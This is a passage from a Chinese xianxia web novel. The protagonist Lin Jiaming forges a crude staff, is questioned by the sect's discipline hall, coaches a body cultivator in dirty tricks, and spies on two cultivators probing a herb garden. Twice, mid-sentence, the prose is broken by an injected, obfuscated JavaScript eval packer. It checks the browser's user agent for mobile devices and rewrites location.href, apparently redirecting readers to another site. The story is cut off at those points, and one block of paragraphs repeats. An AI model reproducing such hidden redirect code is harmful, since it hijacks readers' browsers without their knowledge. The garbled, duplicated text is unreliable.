识海里那些“符文污染”依旧是个隐患。他尝试用那几本垃圾玉简和旧书里学到的粗浅神识运用法门,小心翼翼地“整理”它们。过程极其痛苦,如同用钝刀子分割粘在一起的碎玻璃,但并非全无成效。他勉强将几个相对完整的、关于“能量侵蚀”和“物质结构弱化”的符文结构剥离出来,虽然还是不懂具体怎么激发运用,但至少“认识”了它们,知道它们大概是干什么的,脑子里不那么乱了。 他甚至异想天开,尝试用混沌灵力在空气中临摹这些扭曲的符文。结果灵力刚勾勒出第一个转折,就“噗”地一声溃散,还反噬得他气血一阵翻腾。 “级别太高,玩不转。”他呲牙咧嘴地放弃,但并未气馁。至少证明这些符文是“可被理解、可被描绘”的实体,不是纯粹的幻觉。这就够了,以后有的是时间。 除了修炼,他大部分精力都花在研究那些“赃物”上。 那瓶暗紫色液体他不敢轻易打开,只隔着水晶瓶用神识和灵力反复探测,确认其中蕴含着极其狂暴的怨念和一种类似“灵魂毒素”的东西,危险,但也许在某些极端情况下能作为同归于尽的底牌……或者,用来阴某个特别耐操的敌人。 刻着邪异阵纹的黑色石板,他尝试用混沌灵力激活,毫无反应。用鲜血滴,没变化。甚至冒险用一丝微弱的神识触碰,石板只是微微一震,散发出一股令人心悸的吸力,吓得他立刻切断联系。这东西,恐怕需要特定的魔道功法或海量负面能量才能驱动,暂时是块高级砖头。 断裂的符文金属臂膀和锈蚀短矛,则被他当成了练手材料。结合从灰集换来的基础炼器知识和自己瞎琢磨的混沌灵力渗透法,他尝试将它们熔炼、重铸。过程惨不忍睹,炸了几次炉(用石头临时搭的),浪费了不少材料,但居然真的让他用那截金属臂膀的主体,结合一些边角料,锻打出了一根……七扭八歪、勉强能看出是枪杆形状的黑色金属长棍! 棍子入手沉重,质地坚硬异常,表面还有他胡乱铭刻的、被混沌灵力强行融合进去的、歪歪斜斜的“坚固”和“破甲”符文(模仿自脑子里那些碎片和垃圾玉简),虽然效果存疑,但至少是个开始。 “唔,以后找到合适的枪头材料,再想办法接上……这就是我未来拉风长枪的雏形了!”林家铭挥舞着这根丑得别致的黑铁棍,颇为自得。反正他现在也用不了长枪,先当烧火棍或者……打闷棍的工具也行。 平静(且忙碌)的修炼日子过了约莫半个月,这天下午,林家铭正在小院里尝试用新领悟的、更精细的混沌灵力操控技巧,让一小撮尘土在空中变换出各种简单形状(美其名曰锻炼微操),院门又被敲响了。 这次来的不是周圆,而是两个穿着内门执事服饰、面色严肃的弟子。 “林家铭师弟?”为首一人语气公事公办,“奉执法堂之命,请你前去问话。关于雾鬼潭任务的一些细节,需要你再行确认。” 终于来了。林家铭心中了然,脸上露出适当的惊讶和一丝不安:“两位师兄,不知是何事?小弟当日已向执事堂禀明经过……” “具体事宜,到了执法堂自有分晓。”另一名执事打断他,语气不容置疑,“请师弟随我们走一趟吧。” 林家铭目光扫过两人,都是炼气五六层的修为,气息沉稳,显然是执法堂的常备力量。他点点头,没有多问:“好,请师兄带路。” 他顺手将那根丑黑铁棍靠在门后,整理了一下衣衫,跟着两人离开了揽月峰。 执法堂位于主峰天枢峰一侧,建筑巍峨肃穆,透着一股不容侵犯的威严。空气中弥漫着淡淡的禁制波动,让人不由自主地收敛气息。 林家铭被带到一间偏殿。殿内陈设简单,只有几张椅子和一张长案。长案后坐着三个人。 居中一人,是个面容清癯、目光锐利的老者,穿着青色长老服饰,气息深沉如海,至少是金丹期修为。正是执法堂的一位副堂主,严正清。 左侧是楚云。他依旧白衣胜雪,左臂吊着,脸色平静,看到林家铭进来,只是微微颔首。 右侧则是一个林家铭没见过、但穿着明显带有仙盟标记服饰的中年男子,面容普通,眼神却如同鹰隼,带着审视的意味,修为亦是深不可测。 这阵仗……林家铭心中微凛,面上却更加恭谨,上前行礼:“弟子林家铭,见过严长老,楚师兄,这位……大人。” “嗯。”严正清淡淡应了一声,目光如电,落在林家铭身上,“林家铭,今日唤你前来,是关于雾鬼潭任务一事。有几处细节,需要你重新说明。” “是,弟子定当如实禀告。”林家铭垂首。 接下来的问话,主要围绕他当日如何逃脱、逃往何处、如何疗伤、在灰集做了什么等等。问题细碎而精准,显然经过精心准备。 林家铭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189074|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早有腹稿,将半真半假的说辞又重复了一遍,只是语气更加诚恳,细节更加“模糊”——毕竟“重伤昏迷”和“慌乱逃命”之下,记不清太多细节才正常。 那仙盟的中年男子偶尔插言提问,问题更加刁钻,直指一些可能的时间矛盾和灵力消耗疑点。林家铭均以“当时心慌意乱”、“伤势影响感知”、“丹药效果不明”等理由搪塞过去,同时暗中运转混沌灵力,模拟出经脉受过暗伤、气息略有虚浮的状态——这对他而言不难。 问话持续了近一个时辰。严正清和楚云大部分时间只是听着,偶尔交换一个眼神。 最后,严正清挥了挥手:“好了,你先下去吧。近期不要离宗,可能还会有传唤。” “是,弟子告退。”林家铭躬身退出偏殿。 直到走出执法堂的范围,被山风一吹,他才感觉到后背出了一层细密的冷汗。 刚才的问话,看似平静,实则暗藏机锋。尤其是那个仙盟的人,给他压力极大。对方似乎并不完全相信他的说辞,但也没有确凿证据。 “看来,仙盟确实在深入调查雾鬼潭,而且怀疑有‘内情’。”林家铭一边往回走,一边思忖,“楚云在场,是代表青岚宗协助,还是……他个人也在追查?白小茹的事,会不会也和这有关?” 他隐隐觉得,一张无形的网,似乎正在以雾鬼潭为中心,缓缓收紧。而他这个当时在场、又“侥幸”逃生还修为“小进”的弟子,不可避免地处于这张网的边缘。 回到揽月峰小院,天色已近黄昏。 他刚推开院门,就愣住了。 院子里,他那根靠在门后的丑黑铁棍,不见了。 取而代之的,是院中石桌上,放着一个普普通通的青布包袱。 包袱没有系紧,露出一角——里面是几株新鲜的、带着泥土的月凝草,以及一小包用油纸包着的、散发着淡淡药香的活血散。 除此之外,再无他物。没有字条,没有标记。 林家铭站在院门口,看着那个静静躺在夕阳余晖中的包袱,良久没动。 白小茹? 她怎么知道自己住这里?周圆说的?她来送药草和伤药?是什么意思?答谢那天微不足道的提醒?还是……别的? 更重要的是,她怎么进来的?揽月峰虽荒僻,也有简单禁制。她一个炼气一层、灵力微弱的外门弟子…… 林家铭的目光,缓缓移向原本放着黑铁棍的门后空地。 棍子不见了。 是被她拿走了?为什么?那根丑棍子除了重点、硬点,毫无灵力波动,就是块废铁。 还是……有别人进来过?拿走了棍子,留下了包袱? 他走到石桌前,仔细检查包袱。月凝草品相很好,显然是刚采摘的。活血散是最普通的外伤药,坊市几个铜板就能买一包。包袱布是常见的粗青布,毫无特征。 没有陷阱,没有毒,没有追踪印记——至少以他目前的水平检查不出来。 他拿起一株月凝草,指尖混沌灵力微微探入。灵气充沛,生机盎然,是上品。 沉默片刻,他将包袱小心收起。不管是白小茹,还是别的什么人,这份突如其来的、“无声”的馈赠,都透着古怪。 而他那根丑棍子的失踪,更让这件事蒙上了一层迷雾。 “有意思。”林家铭喃喃自语,眼底闪过一丝兴味。 刚被执法堂和仙盟盘问,回来就遇到这么一出。 这青岚宗,真是越来越热闹了。 暗流之下,明枪暗箭,似乎都开始若隐若现。 而他这个喜欢“看热闹”和“搞事情”的人,好像……越来越被卷进去了。 不过,这样似乎也不坏? 他回到屋里,关上门。外面天色彻底暗了下来,小院重新陷入寂静。 只有远处不知名的虫鸣,和山风吹过松林的呜咽,仿佛在预示着,更多的风雨,即将到来。 14. 无声的馈赠与夜探 丑黑铁棍的失踪和那个无声的包袱,像一根细小的刺,扎进了林家铭看似平静的生活里,不疼,却时刻提醒他某种异样的存在。 他没有声张,也没有试图去寻找棍子。对方能在他被执法堂传唤的短暂间隙里,悄无声息地进入他的小院,放下东西,拿走棍子,这份能力和对时机的把握,都不容小觑。贸然行动,只会打草惊蛇,或者暴露自己更多的底细。 他将那几株品相极佳的月凝草和普通的活血散收好,心里盘算着几种可能:白小茹的可能性最大,但动机和能力存疑;其他关注他的人(楚云?仙盟?甚至萧炎?)也有可能,但用这种方式传递善意或警告,似乎又不太符合他们的风格。 “算了,是狐狸,总会露出尾巴。”林家铭压下疑虑,将注意力重新放回修炼和消化收获上。 接下来的几天,他更加谨慎。去小石穴修炼时,会先在附近布下更加隐蔽的预警小机关(用细线、树叶和微弱的混沌灵力波动结合)。修炼时也分出一缕心神,时刻感应周围动静。 废灵石稳步消耗,修为朝着炼气五层坚实迈进。那瓶暗紫色液体和黑色石板依旧无法动用,被他用多层禁制(自创的粗陋符文加净尘粉)封存得更深。断裂的金属臂膀和短矛材料已经耗尽,除了那根失踪的丑棍子,他还用边角料搓了几枚更小、更隐蔽的“透骨钉”,淬上从沼泽毒草和魔傀残片里提取的混合毒素,威力不大,但胜在阴险难防。 识海里的符文污染,在他的持续“整理”下,稍微规整了一些。至少那些最活跃、最破碎的负面意念被暂时压制下去,剩下的几个相对完整的结构(侵蚀、弱化、痛苦转化)如同三块冰冷的黑色水晶,悬浮在识海角落,不再随意冲撞,但依旧散发着不祥的气息。林家铭尝试用意念接触,依旧会引起刺痛和轻微眩晕,但他能感觉到,自己对它们的“耐受度”在缓慢提升。 这天夜里,他结束在小石穴的修炼,正准备返回小院,经过揽月峰后山那片稀疏的松林时,脚步忽然一顿。 前方不远处的林间空地上,月光如水银泻地,一个瘦小的身影,正抱着一把几乎和她人一样高的破旧竹扫帚,低着头,缓慢而吃力地清扫着地上的落叶和碎石。 是白小茹。 她穿着单薄的、洗得发白的青色外门弟子服,身形在清冷的月光下更显单薄。动作有些僵硬,似乎很疲惫。这里已经是揽月峰范围,靠近后山边缘,平日人迹罕至,正是通往“悔过崖”的路径之一。 林家铭隐在树后阴影中,静静看着。他没有立刻现身,目光扫过她苍白的侧脸和微微颤抖的手臂,又落在她脚边一个粗糙的竹篮上,里面放着水囊和半块硬邦邦的干粮。 看来,她是在完成每日的惩罚——清扫悔过崖石阶后,顺路经过这里?还是……特意来的? 就在这时,白小茹似乎被一块凸起的石头绊了一下,身体踉跄,手中的扫帚脱手,人也差点摔倒。 林家铭眉头微蹙,下意识向前迈了半步,却又停住。 只见白小茹稳住身形,默默捡起扫帚,继续清扫,动作依旧缓慢,却透着一股倔强的坚持。月光照在她低垂的睫毛上,投下淡淡的阴影。 看了一会儿,林家铭悄然后退,没有惊动她,绕了另一条路回到小院。 第二天,他吩咐周圆,以周圆自己的名义,给白小茹送了一小瓶最普通的“益气丹”和几块耐储存的肉干。东西不值钱,但对她当下的状况应该有点帮助。 周圆回来时,转述了白小茹结结巴巴的感谢,并说白师妹坚持不要,是周圆硬塞下的。 “林师兄,白师妹她……真的挺不容易的。”周圆叹了口气,“我问她药园的事,她也说不清楚,只记得那几天晚上特别冷,她睡得沉,醒过来就发现有几株月凝草不对劲了……” 特别冷?睡得沉?林家铭心中一动,这听起来可不像简单的照料不力。 他没有多问,只是叮嘱周圆,力所能及的话,多照应一下,但别太刻意,免得给她惹来更多麻烦。 周圆用力点头:“我明白,师兄!” 日子依旧在表面的平静和暗地里的忙碌中度过。执法堂和仙盟没有再找他,楚云也仿佛消失了一般。但林家铭能感觉到,那种被暗中注视的感觉,并未完全消失。 这天下午,他正在院子里,尝试用新得的几块低阶“火铜石”边角料,配合混沌灵力,给“晦芒”短刃做一个简易的“附魔”——不是永久性,而是短暂激发火焰伤害。原理是利用火铜石的火属性和混沌灵力的模拟转化特性,在刃口形成一层极薄的高温灵力层。 实验进行到一半,院门又被敲响了。不是周圆那种带着点雀跃的敲法,也不是执法堂那种一板一眼的叩击,而是不轻不重、带着点犹豫的三下。 林家铭收起东西,擦了擦手,开门。 门外站着两个人。一个是面色有些尴尬的钱富贵,另一个,则让林家铭有些意外——是赵铁柱。 “林师兄。”钱富贵挠着头,有些不好意思,“那个……铁柱他有点事想找你帮忙,又不好意思自己来,就拉我一起……” 赵铁柱站在钱富贵身后,黝黑的脸上涨得通红,搓着手,高大的身躯显得有些局促不安,瓮声瓮气地开口:“林、林师兄……俺、俺想请你帮个忙。” 林家铭有些好笑,侧身让开:“进来说。什么事,能让开阳峰的体修猛汉扭捏成这样?” 两人进了院子。赵铁柱看了看简陋的小院,更加不好意思,憋了半天才道:“俺、俺想请师兄教俺……怎么阴人!” “噗——!”正在喝水的钱富贵直接喷了,咳嗽连连。 林家铭也愣住,掏了掏耳朵:“啥?你再说一遍?” 赵铁柱脖子都红了,但眼神却带着一种豁出去的认真:“俺说,请师兄教俺阴人的法子!” 他顿了顿,声音低了下去,带着愤懑:“俺们开阳峰的体修,打架直来直去,是爽快!可老是被那些法修、剑修耍得团团转!特别是上次小比,俺看师兄你……虽然法子有点那啥,但真的管用!沈剑、孙虎他们都吃了亏!俺琢磨着,光有力气不行,也得有点……有点心眼子!” 钱富贵缓过气来,小声补充:“铁柱前几天接了个外出任务,跟一个神工峰的师兄组队,结果被那师兄当肉盾使,好处全让他占了,铁柱还受了伤,憋着一肚子火呢……” 原来如此。林家铭明白了。这憨直的体修是受了刺激,开窍了,知道光靠肌肉不够,想来学点“技术”。 他看着赵铁柱那张写满诚恳和憋屈的黑脸,忽然觉得这大个子有点可爱。 “教你阴人?”林家铭摸着下巴,似笑非笑,“铁柱啊,不是师兄不教你。这阴人的法子,讲究的是因地制宜,随机应变,心思要活。你这……”他上下打量了一下赵铁柱魁梧的身板和憨厚的表情,“硬件条件可能不太匹配啊。” 赵铁柱急了:“师兄!俺可以学!俺力气大,皮厚,耐揍!俺可以当那个……那个诱饵!先把人引过来,然后……” “然后你一拳头把人家砸进地里,还用得着阴吗?”林家铭失笑。 钱富贵也忍不住乐了。 赵铁柱挠挠头,自己也觉得有点不对劲,但还是眼巴巴地看着林家铭。 林家铭想了想,道:“教你系统的阴人套路,你学不来,也没必要。不过嘛……”他话锋一转,“教你几手适合你体修身份的、关键时刻能出奇不意的小把戏,倒是可以。” 赵铁柱眼睛立刻亮了:“真的?多谢师兄!” “先别急着谢。”林家铭摆摆手,“我这教学,收费的。” “啊?”赵铁柱愣住,随即忙道,“俺、俺有灵石!不多,但……” “不要灵石。”林家铭打断他,目光扫过赵铁柱粗壮的手臂和坚实的体格,“我要你帮我办几件事,或者……给我弄点开阳峰特有的、结实耐操的炼体材料边角料,或者你们练功用的‘负重铁块’之类的‘垃圾’,越多越好,越杂越好。” 他现在缺各种属性的“垃圾”来喂养混沌灵根,开阳峰体修淬体的材料,往往蕴含精纯的土、金属性能量,虽然是边角料,但对他而言可能比普通灵石更“补”。 赵铁柱一听,拍着胸脯:“这个简单!俺们开阳峰后山堆材料的地方,这种‘垃圾’多的是!管够!师兄你要啥,俺给你弄啥!” “行,成交。”林家铭爽快道,“不过事先说好,我教你的东西,你自己用,别到处说是我教的。出了事,也别把我供出来。” “俺懂!俺懂!”赵铁柱连连点头,一脸严肃,“打死俺也不说!” 于是,揽月峰破旧小院里,开始了一场画风清奇的“教学”。 林家铭没教什么高深技巧,主要围绕体修的特点展开: 1. 假动作与重心欺骗:如何利用庞大的身躯做出逼真的假摔、假装力竭,诱敌深入。 2. 环境利用:如何“不小心”把敌人撞向尖锐岩石、或者踩塌看似结实的地面。 3. 随身“小道具”:建议赵铁柱在腰带、护腕等不起眼的地方,藏一些特制的“铁砂”(林家铭提供配方,用碎铁渣混合少量麻痹草药粉),近身缠斗时突然扬出,干扰视线和呼吸。 4. “同归于尽”的威慑:教他几句听起来特别狠、特别不要命的垃圾话,配合狰狞表情,在气势上压倒那些喜欢游斗的法修剑修。 5. 基础陷阱识别与反制:至少要学会看穿最常见的绊索和陷坑,别傻乎乎往里踩。 教学过程中,笑料百出。赵铁柱脑子直,一个简单的假摔动作,他能把自己真摔出去三次。说垃圾话时,那张憨厚的脸怎么也狰狞不起来,反而有点滑稽。 钱富贵在一旁笑得打跌,偶尔也插嘴,从机关陷阱的角度补充几句。 林家铭也不恼,耐心纠正,用最直白的大白话解释要领。他发现,教这憨货的过程,对自己梳理战斗思路、理解不同修行体系的特点,竟然也有帮助。 “对对对,铁柱,你想象一下,你不是在假摔,你是不小心踩到了自己刚才‘偷偷’扔在地上的香蕉皮!” “垃圾话要说在对手最得意的时候,比如他刚躲开你一拳,你就骂他‘躲得跟娘们似的,有种别跑!’,记住,表情要凶,眼神要蔑视!” “看到地上那摊颜色不一样的水没有?别踩!说不定是哪个缺德的丹房弟子倒的废液!” 夕阳西下,赵铁柱满头大汗,但眼睛亮晶晶的,充满了收获的喜悦。虽然离“阴险”还差得远,但至少脑子里多了几根不一样的弦。 “多谢师兄!俺明天就给你送材料来!”赵铁柱郑重抱拳,带着钱富贵离开了。 小院恢复安静。林家铭看着两人离去的背影,笑了笑。教赵铁柱,算是结个善缘,也能换来持续的材料供应,不亏。而且,看着一个憨直的体修努力想变“坏”的样子,还挺有趣。 夜色渐浓。 林家铭没有像往常一样立刻回屋或去小石穴。他换上一身深色衣物,将“晦芒”和几样小玩意贴身藏好,又将那块“黑水石”揣进怀里。 他决定,去百草峰后山的三号药园看看。 白小茹的惩罚,那几株枯萎的月凝草,她所说的“特别冷、睡得沉”,以及那个无声的包袱和失踪的丑棍子……这些碎片,让他隐隐觉得,那里或许有什么线索。 不是出于什么英雄救美的心思,纯粹是好奇,以及一种对潜在麻烦的提前探查。如果真有什么不对劲,他得知道自己可能被卷入了什么。 月色尚明,但对炼气四层巅峰、且身法诡异的林家铭来说,避开寻常巡逻弟子并不难。他如同一道飘忽的影子,离开揽月峰,融入青岚宗夜晚的山林之中。 百草峰以种植灵草闻名,灵气充裕,但也因此地势复杂,药园分布各处,禁制繁多。不过三号药园只是外门弟子负责的低阶药园,位于后山偏僻处,防护相对简单。 林家铭花了些时间,避开几处明显的禁制光芒和巡夜弟子的路线,悄无声息地摸到了三号药园附近。 药园被一圈低矮的灵木栅栏围着,里面分割成整齐的田垄,种着各种低阶灵草。此刻园中寂静,只有夜风吹过草叶的沙沙声,和远处隐隐的虫鸣。 他伏在药园外一处灌木丛后,没有立刻进去。目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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两人迅速闪身进入药园,目标明确,径直走向那片枯萎的月凝草区域。 林家铭在阴影中屏息凝神,心中念头急转。这两人是谁?百草峰的?还是别的势力?他们来查月凝草枯萎的事?看他们轻车熟路的样子,似乎对这里很熟悉。 只见那两人在枯萎区域蹲下,一人取出一面巴掌大的、边缘刻着蝌蚪状符文的青铜古镜,对着地面缓缓照射。古镜镜面幽暗,并无光芒射出,但持镜之人神色专注,似乎在感应什么。 另一人则拿出一支细长的、仿佛骨质的探针,轻轻插入土壤,闭上眼睛,似乎在感知地下的情况。 片刻后,持镜那人收起古镜,语气带着疑惑和一丝兴奋:“残留的‘玄阴煞气’很淡,但没错!就是从这里泄露出来的!虽然被处理过,但痕迹还在!” 持探针那人也睁开眼睛,声音低沉:“地下三丈左右,有微弱的空洞回响,还有残留的禁制波动……下面果然有东西!不过入口被遮掩得很好,而且……好像不久前被动过?” “动过?难道有人捷足先登?”持镜人语气一冷。 “不确定。痕迹很新,但很混乱,像是……被暴力破坏过?又不太像。”持探针人沉吟道,“不管怎样,先回去禀报。此地不宜久留,青岚宗和仙盟的人盯得紧。” 两人迅速达成一致,又将土壤表面恢复原状(做得比林家铭仔细多了),抹去他们进来的痕迹,然后如同来时一样,悄无声息地离开,消失在夜色中。 ……药园重新恢复寂静。 林家铭又在灌木丛里等了约莫一炷香时间,确认对方真的走远了,才缓缓吐出一口浊气。刚才那两人给他的压力非同小可,虽然他们收敛了大部分气息,但那种筑基期修士特有的灵压质感,以及他们行动间那种训练有素的利落,绝非普通弟子。他们使用的古镜和骨针,也散发着让他心悸的隐晦波动。 “仙盟?还是别的什么组织?专门冲着这地下的东西来的?”林家铭心中凛然。事情比他想的更复杂。能让筑基期高手亲自冒险潜入探查,这药园底下埋的,绝对不是小事。 他不敢再多停留。刚才那两人破禁和探查时,虽然用了高明手段遮掩,但难保不会引起百草峰值守长老或宗门大阵的注意。此地已成是非之地。 他最后看了一眼那片看似平静的土壤,将“玄阴煞气”、“地下封印”、“入口被动过”这几个关键词牢牢记住,然后转身,将混沌灵力的隐匿特性催动到极致,如同彻底融化的阴影,沿着最偏僻的路径,悄无声息地返回揽月峰。 就在他离开后不久,百草峰主殿方向,一道强大的神识如同水银泻地般扫过整个后山药园区域,带着一丝疑惑和警惕,停留了片刻,才缓缓收回。 夜还深,但某些敏锐的存在,已经察觉到了暗流搅动的涟漪。……药园重新恢复寂静。 林家铭又在灌木丛里等了约莫一炷香时间,确认对方真的走远了,才缓缓吐出一口浊气。刚才那两人给他的压力非同小可,虽然他们收敛了大部分气息,但那种筑基期修士特有的灵压质感,以及他们行动间那种训练有素的利落,绝非普通弟子。他们使用的古镜和骨针,也散发着让他心悸的隐晦波动。 “仙盟?还是别的什么组织?专门冲着这地下的东西来的?”林家铭心中凛然。事情比他想的更复杂。能让筑基期高手亲自冒险潜入探查,这药园底下埋的,绝对不是小事。 他不敢再多停留。刚才那两人破禁和探查时,虽然用了高明手段遮掩,但难保不会引起百草峰值守长老或宗门大阵的注意。此地已成是非之地。 他最后看了一眼那片看似平静的土壤,将“玄阴煞气”、“地下封印”、“入口被动过”这几个关键词牢牢记住,然后转身,将混沌灵力的隐匿特性催动到极致,如同彻底融化的阴影,沿着最偏僻的路径,悄无声息地返回揽月峰。 就在他离开后不久,百草峰主殿方向,一道强大的神识如同水银泻地般扫过整个后山药园区域,带着一丝疑惑和警惕,停留了片刻,才缓缓收回。 夜还深,但某些敏锐的存在,已经察觉到了暗流搅动的涟漪。 15. 复盘、沉淀与暗涌 回到揽月峰小院,关上房门,林家铭才真正松了口气。 后背的衣襟已被冷汗浸湿,紧贴在皮肤上,带来一阵凉意。他靠在门板上,闭上眼,脑海中反复回放药园外窥见的那一幕。 两个至少筑基期的神秘修士,训练有素,装备精良,目标明确。他们口中的“玄阴煞气”、“地下封印”、“入口被动过”……每一个词都沉甸甸的,透着不祥。 “百草峰药园底下,埋着个不得了的东西。”林家铭睁开眼,眼神沉静,“而且,不止一拨人知道。白小茹是意外被卷进去的倒霉蛋,还是……她也知道些什么?” 那无声的包袱和失踪的丑棍子再次浮现在脑海。送礼的人(或势力)和今晚探查的人,是同一伙吗?还是两拨?他们的目的分别是什么? 线索太少,猜测太多。 但有一点可以肯定:这件事的水,很深,而且牵扯到的层面,远不是他一个炼气期弟子能轻易涉足的。今晚能安全回来,七分靠对方专注任务且未主动侦查,三分靠混沌灵力的特殊性和自己那套野路子的隐匿法。侥幸成分太大。 “不能再贸然去碰了。”林家铭迅速做出判断。好奇心要有,但送命不行。在拥有足够自保能力、搞清楚更多内情之前,药园那条线,必须暂时搁置。 他将今晚获得的信息仔细梳理,牢记在心,然后开始复盘自己行动中的漏洞。 隐匿手段还是太粗糙,完全依赖混沌灵力的特殊性和环境。面对真正的侦查高手或者大范围神识扫描,很容易暴露。必须开发更系统的隐匿和反侦察技巧。 实力依然是硬伤。炼气四层巅峰,在筑基期面前就是蝼蚁。别说对抗,连远距离安全观察都做不到。必须尽快提升修为,同时开发更多保命和干扰的手段。 “混沌灵力……”林家铭走到院中,盘膝坐下,内视己身。丹田内,那团混沌气旋缓缓旋转,包容万象,却又仿佛蕴含着无限可能。“对异常能量敏感,能模拟多种属性,或许……可以从这方面入手。” 接下来的几天,林家铭的生活节奏变得更加规律且低调。 他不再去小石穴修炼——那里虽然隐蔽,但距离药园事件现场还是太近。他将修炼场所移回了自己屋内,并用那些从灰集换来的、刻着粗浅“隔音”、“敛息”符文的玉片(效果微弱,但聊胜于无),在房间角落布置了一个简陋的“静室”。 废灵石的消耗速度放缓了一些,他更注重灵力提炼的精纯和对混沌特性掌控的练习。除了继续用“混沌大杂烩”法吞噬灵石,他开始有意识地尝试引导混沌灵力在体内模拟不同的运行路线,寻找最能发挥其“感知”和“隐匿”特性的方式。 他给这种自创的修炼法起了个名字:《混沌感应篇》与《万象匿形诀》(名字很唬人,实际还处于瞎琢磨的草创阶段)。 效果初显。他发现自己将混沌灵力均匀散布于体表,并模拟周围环境的灵气属性(如草木清气、泥土厚重)时,对同属性或相近属性的神识探查,似乎有微弱的混淆和融合效果,能降低自身存在感。但对属性截然不同或更高级别的探查,效果就大打折扣。 同时,将混沌灵力凝聚于双目或双耳,能让他看到或听到一些更细微的能量流动和声音振动。比如,他能隐约看到空气中灵气的淡淡流向,能隔着墙壁听到更远一点的寻常脚步声。这让他对周围环境的监控能力提升了一小截。 除了修炼,他将更多时间花在研究那些“赃物”和脑子里那些“符文污染”上。 暗紫色液体和黑色石板依旧无解,封存处理。 他从那堆抢来的矿石和药材里,挑出几块蕴含着微弱“锐金之气”的金属矿石和一种带着“麻痹”属性的毒草根茎,用混沌灵力反复萃取、提纯、融合,最终得到一小瓶泛着暗金色泽、粘稠如蜜的液体。 他用一根普通铁针沾了一点,刺向一块青石。铁针轻易刺入半寸,拔出后,针尖残留的液体让刺入点周围出现了一圈细微的、仿佛被腐蚀的灰白痕迹,并且石质变得脆弱。 “兼具‘破甲’、‘侵蚀’和微弱‘麻痹’……就叫‘蚀金毒’吧。”林家铭小心地封存好这小瓶液体。这玩意儿炼制不易,量也少,但用在“晦芒”短刃或者特制的箭头上,关键时刻或许有奇效。 脑子里的“符文污染”依旧顽固。但在他持续不断、小心翼翼的“整理”和“耐受”训练下,那三块相对完整的结构(侵蚀、弱化、痛苦转化)似乎……驯服了一点点?至少当他用意念轻轻触碰时,不再有最初那样强烈的刺痛和眩晕,只是有些冰冷和沉重。他甚至能模糊地“感觉”到这些符文结构内部蕴含的、扭曲的运行逻辑。 当然,离真正理解和使用还差十万八千里,但至少不再是纯粹的负担。 这天下午,赵铁柱如约而至。 他扛着两个鼓鼓囊囊、看起来极其沉重的大麻袋,吭哧吭哧地走进小院,往地上一放,发出“咚”的一声闷响,地面都仿佛震了震。 “林师兄!俺给你弄来了!”赵铁柱抹了把汗,黝黑的脸上满是憨笑,指着麻袋,“都是俺们开阳峰淬体房和炼器坊那边堆着的‘废料’,管事师兄说没啥用,随便拿!俺挑了些看着最硬、最沉的!” 林家铭打开麻袋一看,眼睛顿时亮了。 里面五花八门:断裂的、带着磨损痕迹的玄铁锁链扣环;用废了的、表面坑坑洼洼的钨钢负重片;淬火失败的、颜色斑驳的黑铁锭边角料;甚至还有一些沾染着汗渍和血迹、但材质特殊的破损皮质护腕碎片…… 这些东西,灵气含量或许不高,但无一例外,都蕴含着长期受气血冲刷或巨力锻打后残留的精纯的“力”与“韧”的意念,以及浓厚的土、金属性能量。对混沌灵根而言,这比许多低阶灵石更“补”,也更适合用来强化肉身和武器。 “干得漂亮,铁柱!”林家铭难得地真心夸了一句,拍了拍赵铁柱结实的胳膊,“这些正是我需要的。” 赵铁柱嘿嘿直乐:“师兄有用就好!对了,俺按师兄教的,前几天跟一个老爱放风筝遛俺的法修切磋,假装被他火球术打中踉跄,然后突然往他脚底下扔了把铁砂,虽然没伤着他,可把他吓了一跳,法诀都念岔了!嘿嘿!”他满脸兴奋,仿佛干了件惊天动地的大事。 林家铭忍俊不禁:“不错,有进步。记住,吓唬也是战术。下次可以试试在铁砂里掺点辣椒粉。” “辣椒粉?”赵铁柱眼睛瞪大,随即猛拍大腿,“对啊!俺怎么就没想到!师兄不愧是师兄!” 又简单交流了几句“阴人”心得(主要是赵铁柱说,林家铭听并偶尔点拨),赵铁柱才心满意足地离开。 送走赵铁柱,林家铭立刻将这两大麻袋“宝贝”搬进屋内,开始“享用”。 他先拿起一块沉甸甸的钨钢负重片,双手握住,运转混沌灵力,模拟出“吞噬”、“分解”、“融合”的意念。 顿时,一股沉重、坚实、带着淡淡血腥气和汗味的能量,如同涓涓细流,顺着掌心流入经脉。不同于废灵石的混乱狂暴,这股能量更加凝练、厚重,虽然吸收速度慢一些,但融入混沌气旋后,带来的是一种扎实的力量增长感和肉身强化感。他的骨骼、肌肉、筋膜,仿佛都在微微发热,变得更加紧密有力。 “好东西!”林家铭精神一振,开始加快吸收。两块麻袋的“垃圾”,足够他消化很长一段时间,修为和肉身都能得到稳步提升。 接下来的日子,林家铭彻底进入了“闭关潜修”模式。除了偶尔通过周圆了解一些外面的动向(主要是白小茹的惩罚似乎接近尾声,她依旧沉默寡言;宗门内警戒气氛更浓,执法堂暗查频繁),他几乎足不出户。 废灵石和体修“垃圾”双管齐下,他的修为稳步向着炼气五层迈进。混沌灵力越发浑厚凝实,对属性的模拟转换也更加得心应手。《混沌感应篇》和《万象匿形诀》的草创版本不断完善,虽然离大成还远,但已经让他在小范围内的隐匿和感知能力超过了同阶修士。 “晦芒”短刃在“蚀金毒”的反复浸泡(奢侈)和混沌灵力持续温养下,那丝混沌微光更加稳定,锋锐度和破灵特性显著提升,已经隐隐有向低阶中品法器进阶的趋势。 期间,萧炎给的玉牌一直安静。楚云没有再来找他。执法堂的传唤似乎也停止了。仿佛一切都随着他的低调而暂时平息。 但林家铭知道,这只是暴风雨前的宁静。 